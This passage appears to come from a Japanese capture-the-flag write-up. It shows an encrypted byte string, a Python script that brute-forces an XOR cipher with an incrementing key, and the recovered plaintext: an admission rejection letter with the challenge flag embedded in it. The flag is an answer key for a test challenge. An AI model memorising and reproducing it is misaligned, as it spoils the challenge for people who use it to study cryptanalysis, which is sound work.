\xcd<\xd6#\xee|\xe9>\xaa\x13\xad\'\xee\x1a\xbd\x11\xf9Q\xb8\t\xfc\x0f\xbf\x00\x8b_\xaa\x1f\xca\xee\x85\xe5\xd1\xe0\x84\xfa\x9d\xb4\x81\xffa\xf8\x9c\xb6n\xcc!\xe9f\xcc(\xc2|\xc2|\xdf1\xces\xd3Q\x9e~\xd5K\xb6W\xee\x11\x8d_\xe7]\xa5W\xbcF\xfaJ\xa1#\x91`\xb5#\xc8(\x96&\xcf>\x984\x950\x82\x11\xd1|\x9e\x1bj\x0e \x04d\x0f\'\x1a|\x1ck\x10nXb\xe0\x01\x10l\xe9F\xa6B\xfd\x0f\xecZ\xeaZ\xfdR\xc0I\xf2W\xc6d\xd6P\x8f"\xdd5\x967\xc6(\xd3-\xc25\xa8@\xce)\xae\x14\xa0\x0c\xa6\x0f\xb8\x00\xb6\x1b\xf3\x19\x8e\\\xae\x1f\x82\xa3\x80\x1a\x83\xe3\x9b\xf6\x9c\xfe\x81\xac\x9f\xf7\x9b\xfem\xeb\x89\xffn\x8a%\xd6w\x8dn\xdap\xdat\x8fT\xd3\x7f\x96O\xabF\xd5K\xba\\\xe4Y\xb5Y\xaeP\xf7Y\xb4c\xbdR\xb79\x8c \x85#\x8d?\x8e7\x9dr\x9a0\xda6\x80\x14"\x04\x99\x0e`\x14m\x1b~\x1d%[B\x19f\xebs\x1dm\xecI\xfa\x0c\xb0X\xe2B\xe4V\xb1J\xf7\\\xfe\\\xc64\xf3H\x8c,\xc3 \xda<\xc4%\xd4%\x940\xb38\x9b5\xa9\x00\xa7\x7f\xb8\x02\xbd\x0e\xf6\x11\xbf\x03\xab\x10\xb4\x00\x8d\xef\xb0[\x8a\xe9\x81\xa2\x91\xe2\x8d\xfb\x90\xe1\x8a\xbc!\xfd\x94\xf3(\xd4g\xbek\xc5)\xcby\xc50\xcfr\xd6s\xc6G\xcb>\xdbE\xe6D\xb1B\xa8M\xa4\x19\xa4A\xa0#\xbeI\xa5i\xc2\x16\xb8n\x9b-\x87:\x9d"\x8e2\x93v\x84\n\x8d4\x8d\x03h\x03!\x1ex\x19(\x08u\x15j_t\x1f6\xe0P\xe5l\xf8L\xe9P\xf8I\xaeJ\xe8\\\xf0V\x82O\xe9\\\xda1\xca/\xde?\x8a!\xd8!\x91/\xd0)\xcf0\xb7\x12\x9f=\xae\x07\xb3\x17\xf3\x00\xb8\x18\xfa\x17\xb0\x1c\x88\x0e\xa8\x11\x87\xea\xc2\x0f\x9d\xe4\x8a\xe3\x85\xe1\xde\xad\xb4\xb9\x96\xf8v\xcf\xde\xecm\xc9r\x82g\xc1-\xdar\xd4f\xd5\x01\xddu\x97I\xb1V\xd7L\xa6L\xe5\x7f\xf1G\xbeR\xacR\xf37\xbaH\xbf9\x87)\xc1+\x88-\x9a*\xd42\x88\x0f\xdb<\x99\x15#\x15\x95\x0b*$j\x061.b\x1b}\x1av\xf0?)s\xe7C\xf7\x0f\xb1d\xe5\x08\xf1@\xbe\x0f\xd6\x1b\xebS\xc0.\xc5^\xd9i\xc8*\x941\xca&\xd2$\xc6;\xad0\x9c=\xac\x06\xaa\x13\xb9\x03\xa4\x14\xf7\x1a\xbfN\xaa\x12\xbdU\x86\xee\xb1\x08\x89\xf0\x92\xa3\x9c\xe9\xcd\xef\x9e\xe3\x97\xf0v\xf4\x94\xf6h\xc8#\xf5\x7f\xdex\xc8r\xcbb\x8dj\xd1y\xc0\x05\xa5q\xd8C\xaaV\xa3@\xbd\r\xa8\x1a\xb9]\xb6$\xa8R\xba-\xcdb\x8a\'\x8b\'\x8ev\x88?\x99}\x9e8\x81Da.\x8a\x07~\x0cl\x15.\x18fYF\x07q\xeez\x15e\xe3\r\xa1I\xeb\n\xedK\xff^\xf6I\xf8\x18\xfaV\xc2M\xf3S\xc4!\x84 \xd3"\xde<\x98-\xdd:\x93{\xd88\xa2B\xb78\xed\x02\xa9\x0b\xa3P\xb7\x04\xaeW\xa2\x1b\x8e\x12\xfc\r\x81\xf7\x8a\xf6\x95\xac\x9d\xef\x92\xe1\x94\xf8\x9b\xe8\xd8\xeci\xd4r\xbch\xccr\xc0u\xdbg\xc5u\x96a\xd0I\xd8o\x98P\xabV\x91\x10\x9cC\xb2_\xf2G\xa8L\xa0\x18\xb6 \x93K\xfb;\x8e5\x8a6\x9da\xc9\x08\x9c7\x98\x00\x8e?\xd7 *B\xad\x07j\x1e&2w\x11c]v\x114\xc5D\x13r\xf8T\xecM\xfc\x0e\xedG\xfd\x15\xd5Y\xce]\xf4T\xce"\xcd\x1e\xef#\xcc')
enc = bytes(data)

flag = [''] * len(enc)
addkey_found = False
for addKey in range(1, 11):
    for i in range(4):
        for key in range(256):
            success = True
            seedKey = key
            for j in range(len(enc) // 4):
                code = enc[i+j*4] ^ seedKey
                seedKey = (seedKey + addKey) % 255
                flag[i+j*4] = chr(code)
                if code < 32 or code > 126:
                    success = False
                    break
            if success:
                addkey_found = True
                break
    if addkey_found:
        break

flag = ''.join(flag)
print(flag)

復号結果は以下の通り。

I am very sorry to let you know we are unable to offer you admission to Stanford. This decision in no way diminishes your application, which we know was completed with thoughtfulness and care. We were inspired by the hopes and dreams your application represents. We were humbled by the talent, commitment, bucket{sT1LL_crYPt0gRapHiCAlLy_s3cUR3...}, and heart you bring to your academics, extracurricular activities, work, and family responsibilities. Simply put, we wish we had more space in the first-year class. At every step in our process, from the moment we open an application to its eventual presentation in the admission committee, we bring the highest level of consideration to our decisions. Ultimately, these difficult decisions are made with conviction and clarity, and we do not conduct an appeal process. We recommend visiting our page of frequently asked questions for answers about our admission process. I also want to share an article I wrote several years ago for the Los Angeles Times. In it, I reflect on admission decisions in the context of educational journeys that encompass a lifetime. Thank you for applying to Stanford. We enjoyed learning about you, and we know you will thrive wherever your education takes you. With very best wishes, Richard H. Shaw Dean of Admission and Financial Aid

復号した文中にフラグが含まれていた。

bucket{sT1LL_crYPt0gRapHiCAlLy_s3cUR3...}